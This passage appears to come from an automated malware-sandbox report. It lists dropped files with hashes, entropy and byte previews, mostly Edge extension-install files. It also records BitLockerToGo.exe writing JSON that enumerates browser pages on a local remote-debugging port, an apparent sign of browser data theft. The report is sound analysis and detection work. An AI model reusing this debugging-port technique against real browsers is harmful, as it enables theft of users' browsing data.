e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.s.E.2.P.H.f.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.9085630581582533
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xCkJxl9Il8uNcSXg5K+8QhEufqlWhuzMBvW2Jrfzd/vc:anYrWk/QzfqlWha2Jru
MD5:	95398C6721D17543D36AFE4652EDCAA0
SHA1:	CF822E406F3827DC0FD67E68ECE41A12117A2B8A
SHA-256:	82EF5026C63A0D4D464DFDA53CA65D9B84B7CE57A18D196AAC490CD10C6D30B2
SHA-512:	038B6886BE322AAA1FC9C2388B593689716208AD5187136F77A1A13C9B61E7BF60B99E035C7AA9F58D0965C532BF33402D4790BDBA1EE6ABD169960F0D63E54B
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".n.l.0.t.K.Y.2.d.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.s.E.2.P.H.f.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\json[1].json

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.4007282434555
Encrypted:	false
SSDEEP:	96:6NnC684HC6JNnCMbCSNnCJEP9CJoNnCcYdgECYNnCUCONnCEDC7NnCuo6wCuhNne:6N/NDNLNqjNJNjKNtKN58
MD5:	9F8FF94B1D77D1BD15314172B31B71F9
SHA1:	3CAEED0920143F29F93014B495071DBE759FC5D4
SHA-256:	E43B6E906DBD5B9970BA3F7DF0341353151207D462E11CF1337F72EF858DFE86
SHA-512:	8C23E37E6ED844C357BE7F97975F4B65A93944F702312DB0E0FDD9A6D4113FAECD1410C664DC3B4D01F39C550407F27A69CE02169B1E8560B02C441592AADA0F
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9223/devtools/page/651F0638E66BD7C50E777787188F1A6C",.. "id": "651F0638E66BD7C50E777787188F1A6C",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9223/devtools/page/651F0638E66BD7C50E777787188F1A6C"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9223/devtools/page/5BF9B6B6D061FCE3DEBA440791DD079F",.. "id": "5BF9B6B6D061FCE3DEBA440791DD079F",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9223/devtools/page/5BF9B6B6D061FCE3DEBA440791DD079F"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\json[1].json

Download File

Process:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.359522938887239
Encrypted:	false
SSDEEP:	48:SfNaoCXm0TECXAfNaoCUC/fNaoChC6fNaoCZp00UrU0U8CZz:6NnC5TECcNnCUCXNnChCCNnCZp00UrU/
MD5:	C1D60B4AA8BC3B71C91FF1B8D0711FCF
SHA1:	9D0F575FD37B040347B72AFE072C63F660F0509D
SHA-256:	6631F9C21F7CE8CFBC15402C0A6BB6048D55089B31407410775D3D495955F47C
SHA-512:	607268260D81CB6518A7142FFDCDD45293FC72B4ED55D5A4200104BEBA78176CC5D949F284F8DAC153861A49724E86B8F2BF4C6DF196B0742CB966A4587C9A4B
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9223/devtools/page/752C6D3A9EA301A0E2A1481E0F6D6B81",.. "id": "752C6D3A9EA301A0E2A1481E0F6D6B81",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9223/devtools/page/752C6D3A9EA301A0E2A1481E0F6D6B81"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9223/devtools/page/C29985956CDAFF617D37991A523BDF5E",.. "id": "C29985956CDAFF617D37991A523BDF5E",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9223/devtools/page/C29985956CDAFF617D37991A523BDF5E"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9223/devtoo

C:\Users\user\AppData\Local\Temp\57df8beb-366d-4809-99c4-6458b28f51ac.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	154255
Entropy (8bit):	7.844315193710191
Encrypted:	false
SSDEEP:	3072:IH0Gn9mK7OlWbWd/4yjbZH/FZnUO5wYrfzeIX74kwjFMziwmNfxL15tUyH:IUG9mKqlzgyjbZH/jUyLXUkwjF971FUi
MD5:	240CD355E89EC1F3566BB2EF1F361DAD
SHA1:	2ADE60EB20F0FB16657A4FB024D207A931DC927F
SHA-256:	1F0388D23A4D8492E2F9839392B22A6957DEAE8750B60FF860EE939811594295
SHA-512:	961FE2017949D185761D8491AB4F7F2EC3B0562CFB6FEF202C34D685A87F2EA032F53D653E4C1D492DFF1FB43D738E7727985738C1A956A1A18AAE77A3D7F3B6
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[..........gE5.B1_+.)l\....n.sj.n.-.su....kM.`..w..k..u.L..G_9a ..=H..Ag.i.a. .&f!t....s. ............Fy.Cu..a9.C........f7...CW.e._.Zy.W.t.`z.B....k....\|$......G.PI/x]_...L.j..<at...%w.....K,y......s&.....%.4)p...........-2)/....P.....H.;m...}.CP..$E....[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...G0E. $.I....D....h.n.8......y.\|.{5.!.!..@.9.E.o..x...=..}..<.......W".%............mo.:......\|F....\|{H0..S._....0-.ChC..h.....:.....R%Z....u/.....Y_...8./....>.).....OogU.......P.W.a...._..c,..RH}.......m#3..2.U=.O...~....2.H.O...F..Y.j..2....o..............6..?.........{........\|.^....1s..H..#.'.O..Q_....+."

C:\Users\user\AppData\Local\Temp\74738843-7e91-49fa-8e28-86e679d53f4c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	67690
Entropy (8bit):	7.959957093430631
Encrypted:	false
SSDEEP:	1536:voLuEYPKfgk045QhnCcbuZRY9Rxw7ExdD:vonxS46hnN6ZRmSAH
MD5:	49BA104C2CC3AD132C05A7FF1814C0FB
SHA1:	331D1F1D98FA01CED1F4E7B6B43557FCE78CD66B
SHA-256:	7DA394E1C79836E4E7DFE21474740B8E9447B9F56CACEC6B500DDF6183549710
SHA-512:	431BE81C55511B5BD2B12F5067A4226C6D10668432FA3C04EC0D150199D586842DC29E0E435B812AA0DDC3AC0264E5CB09D4EC6BCF5BAA3C91767185C6873789
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....tEXtSoftware.Adobe ImageReadyq.e<...qiTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:695f8e9f-409d-324a-b50a-1e3067707628" xmpMM:DocumentID="xmp.did:91EA24D7191011E5B1FF9488C51C29D1" xmpMM:InstanceID="xmp.iid:91EA24D6191011E5B1FF9488C51C29D1" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6a6b844a-8117-4c4c-9b2f-30d3769ed7c7" stRef:documentID="xmp.did:695f8e9f-409d-324a-b50a-1e3067707628"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>^.i.....IDATx.bb .0..;./..;@...A.P9F...y

C:\Users\user\AppData\Local\Temp\89d87e5d-0b4c-4844-9d53-0c8ca4c86cfd.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\973038d7-dac2-4e04-ba3a-32b8b925e447.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	31335
Entropy (8bit):	7.694019108205432
Encrypted:	false
SSDEEP:	768:514ugFV0910SWyR5kNVdS3sNp/xm3MbiMuYEDlyFUyv6E/ty8:5WcDWyRKNVd2M/IxMuYEDlymsTQ8
MD5:	6B72597205C77D3E40E1A35BEE403801
SHA1:	6BECEE055C6E057AF9475B6D651B4EE561D02F20
SHA-256:	C899297FBDFC88C1634B1145A087FDB5BE17172FD786C078B299557B22F06DEB
SHA-512:	7CB1A98E0C7FBB349D9CB681233A9F4ED22A1C3FAADCDF1BC270B04BD97D3FC41AB6F762B2F5F231281D63D96AC3D243640BA81D5E8CCD9F54486B4F538CA8B4
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1420
Entropy (8bit):	5.400903385714411
Encrypted:	false
SSDEEP:	24:YK0bl5r75riCe0qW+5Ua02EHP5IKL0jZ5JwbX/B+L0aqx5tqUQ0vVU5M:YK0bl5r75riN0qW+5Ua02sP5IKL0jZ5o
MD5:	5FB166BD02C765EBECEAA4EB0D86B030
SHA1:	A084779AA140047EDB8FD14BE76BDCB8DA7954FE
SHA-256:	A34B8817F993279EADBD96F0B9B3246595039D43A7ECEE930860E010DF1D33EE
SHA-512:	466514F84869FFE15E05E3ADEA9094A3787CFA7148243376D5031073D587EDAA6C0EE1285F9AA8B967589AB9698122E6959F4D83FA603EC670C3087909FD60B1
Malicious:	false
Preview:	{"logTime": "1005/074019", "correlationVector":"Jzai6BfByv5amZ45/NBe5r","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/074027", "correlationVector":"eO8FwRQNRwFtIUhPNa0yBN","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/074027", "correlationVector":"DFCC0B139A2547CAA3433B33892C7FE6","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/075031", "correlationVector":"bWXPYvVSVVANvrGBV6dHxn","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/075032", "correlationVector":"4CD8E3A1D096444AAB77DA6A690C4356","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/075123", "correlationVector":"t3DmiSvoNTibe+/mLDIMfl","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/075124", "correlationVector":"B2B504519464422FA5C6E610072CF270","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/075313", "correlationVector":"/q9eTq3f/ZawbQrLDVWKju","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/075314", "correlationVector":"138D0C7D

C:\Users\user\AppData\Local\Temp\dad3fcb4-f95a-4cbf-96e3-a9c3d4e569b6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\ec3df5ba-5b5d-4b1f-b0e2-1731433c182a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\scoped_dir5084_1186932748\57df8beb-366d-4809-99c4-6458b28f51ac.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	154255
Entropy (8bit):	7.844315193710191
Encrypted:	false
SSDEEP:	3072:IH0Gn9mK7OlWbWd/4yjbZH/FZnUO5wYrfzeIX74kwjFMziwmNfxL15tUyH:IUG9mKqlzgyjbZH/jUyLXUkwjF971FUi
MD5:	240CD355E89EC1F3566BB2EF1F361DAD
SHA1:	2ADE60EB20F0FB16657A4FB024D207A931DC927F
SHA-256:	1F0388D23A4D8492E2F9839392B22A6957DEAE8750B60FF860EE939811594295
SHA-512:	961FE2017949D185761D8491AB4F7F2EC3B0562CFB6FEF202C34D685A87F2EA032F53D653E4C1D492DFF1FB43D738E7727985738C1A956A1A18AAE77A3D7F3B6
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[..........gE5.B1_+.)l\....n.sj.n.-.su....kM.`..w..k..u.L..G_9a ..=H..Ag.i.a. .&f!t....s. ............Fy.Cu..a9.C........f7...CW.e._.Zy.W.t.`z.B....k....\|$......G.PI/x]_...L.j..<at...%w.....K,y......s&.....%.4)p...........-2)/....P.....H.;m...}.CP..$E....[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...G0E. $.I....D....h.n.8......y.\|.{5.!.!..@.9.E.o..x...=..}..<.......W".%............mo.:......\|F....\|{H0..S._....0-.ChC..h.....:.....R%Z....u/.....Y_...8./....>.).....OogU.......P.W.a...._..c,..RH}.......m#3..2.U=.O...~....2.H.O...F..Y.j..2....o..............6..?.........{........\|.^....1s..H..#.'.O..Q_....+."

C:\Users\user\AppData\Local\Temp\scoped_dir5084_1186932748\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir5084_1186932748\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5084_1186932748\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir5084_1186932748\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir5084_1186932748\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5084_1186932748\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
